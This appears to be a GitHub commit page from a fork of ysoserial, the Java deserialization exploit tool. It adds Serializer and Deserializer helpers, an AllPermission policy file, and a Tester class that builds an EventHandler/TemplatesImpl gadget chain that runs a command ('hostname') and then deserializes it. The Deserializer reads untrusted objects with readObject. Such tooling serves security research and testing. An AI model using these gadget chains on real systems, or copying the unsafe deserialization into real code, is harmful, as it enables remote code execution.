forked from frohoff/ysoserial
-
Notifications
You must be signed in to change notification settings - Fork 1
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
26 changed files
with
994 additions
and
333 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,3 @@ | ||
grant { | ||
permission java.security.AllPermission; | ||
}; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,97 @@ | ||
import java.beans.EventHandler; | ||
import java.io.Serializable; | ||
import java.lang.reflect.Constructor; | ||
import java.lang.reflect.Field; | ||
|
||
import javassist.util.proxy.ProxyFactory; | ||
|
||
import javax.xml.transform.Templates; | ||
|
||
import sun.misc.Unsafe; | ||
import ysoserial.Deserializer; | ||
import ysoserial.Serializer; | ||
import ysoserial.payloads.util.Gadgets; | ||
|
||
|
||
public class Tester { | ||
public static class Foo { | ||
public boolean value() { | ||
System.out.println("called"); | ||
return true; | ||
} | ||
} | ||
|
||
public static void main(String[] args) throws Exception { | ||
|
||
// Transient t = Gadgets.createProxy((InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Transient.class, new HashMap()), Transient.class); | ||
// | ||
// t.equals(new Foo()); | ||
|
||
|
||
ProxyFactory pf2 = new ProxyFactory(); | ||
ProxyFactory pf = new ProxyFactory(); | ||
|
||
pf.setInterfaces(new Class[]{ Serializable.class }); | ||
pf.setSuperclass(EventHandler.class); | ||
pf.setUseWriteReplace(true); | ||
pf.setUseCache(false); | ||
|
||
// public EventHandler(Object target, String action, String eventPropertyName, String listenerMethodName) { | ||
|
||
|
||
Templates t = Gadgets.createTemplatesImpl("hostname"); | ||
|
||
Class c = pf.createClass(); | ||
|
||
Constructor ctor = c.getConstructors()[0]; | ||
ctor.setAccessible(true); | ||
|
||
Object o = ctor.newInstance(t, "getOutputProperties", null, null); | ||
|
||
|
||
//Object o = getUnsafe().allocateInstance(c); | ||
|
||
//Object o = c.newInstance(); | ||
|
||
// System.out.println(pf); | ||
// System.out.println(pf.hashCode()); | ||
// System.out.println(c); | ||
System.out.println(c.getName()); | ||
System.out.println(o.getClass().getName()); | ||
// System.out.println(o); | ||
// System.out.println(Arrays.asList(c.getInterfaces())); | ||
|
||
byte[] serialized = Serializer.serialize(o); | ||
// | ||
//// System.out.write(serialized); | ||
// | ||
try { | ||
Object o2 = Deserializer.deserialize(serialized); | ||
//System.out.println(o2); | ||
System.out.println(o2.getClass()); | ||
System.out.println(o2.getClass().getName()); | ||
|
||
o2 = Deserializer.deserialize(serialized); | ||
System.out.println(o2.getClass()); | ||
System.out.println(o2.getClass().getName()); | ||
|
||
o2 = Deserializer.deserialize(serialized); | ||
System.out.println(o2.getClass()); | ||
System.out.println(o2.getClass().getName()); | ||
} catch (Exception e) { | ||
e.printStackTrace(); | ||
} | ||
|
||
|
||
getUnsafe().allocateInstance(Class.class); | ||
|
||
} | ||
|
||
public static Unsafe getUnsafe() { | ||
try { | ||
Field f = Unsafe.class.getDeclaredField("theUnsafe"); | ||
f.setAccessible(true); | ||
return (Unsafe)f.get(null); | ||
} catch (Exception e) { throw new RuntimeException(e); } | ||
} | ||
} |
This file was deleted.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,34 @@ | ||
package ysoserial; | ||
|
||
import java.io.ByteArrayInputStream; | ||
import java.io.File; | ||
import java.io.FileInputStream; | ||
import java.io.IOException; | ||
import java.io.InputStream; | ||
import java.io.ObjectInputStream; | ||
import java.util.concurrent.Callable; | ||
|
||
public class Deserializer implements Callable<Object> { | ||
private final byte[] bytes; | ||
|
||
public Deserializer(byte[] bytes) { this.bytes = bytes; } | ||
|
||
public Object call() throws Exception { | ||
return deserialize(bytes); | ||
} | ||
|
||
public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException { | ||
final ByteArrayInputStream in = new ByteArrayInputStream(serialized); | ||
return deserialize(in); | ||
} | ||
|
||
public static Object deserialize(final InputStream in) throws ClassNotFoundException, IOException { | ||
final ObjectInputStream objIn = new ObjectInputStream(in); | ||
return objIn.readObject(); | ||
} | ||
|
||
public static void main(String[] args) throws ClassNotFoundException, IOException { | ||
final InputStream in = args.length == 0 ? System.in : new FileInputStream(new File(args[0])); | ||
Object object = deserialize(in); | ||
} | ||
} |
This file was deleted.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,30 @@ | ||
package ysoserial; | ||
|
||
import java.io.ByteArrayOutputStream; | ||
import java.io.IOException; | ||
import java.io.ObjectOutputStream; | ||
import java.io.OutputStream; | ||
import java.util.concurrent.Callable; | ||
|
||
public class Serializer implements Callable<byte[]> { | ||
private final Object object; | ||
public Serializer(Object object) { | ||
this.object = object; | ||
} | ||
|
||
public byte[] call() throws Exception { | ||
return serialize(object); | ||
} | ||
|
||
public static byte[] serialize(final Object obj) throws IOException { | ||
final ByteArrayOutputStream out = new ByteArrayOutputStream(); | ||
serialize(obj, out); | ||
return out.toByteArray(); | ||
} | ||
|
||
public static void serialize(final Object obj, final OutputStream out) throws IOException { | ||
final ObjectOutputStream objOut = new ObjectOutputStream(out); | ||
objOut.writeObject(obj); | ||
} | ||
|
||
} |
Oops, something went wrong.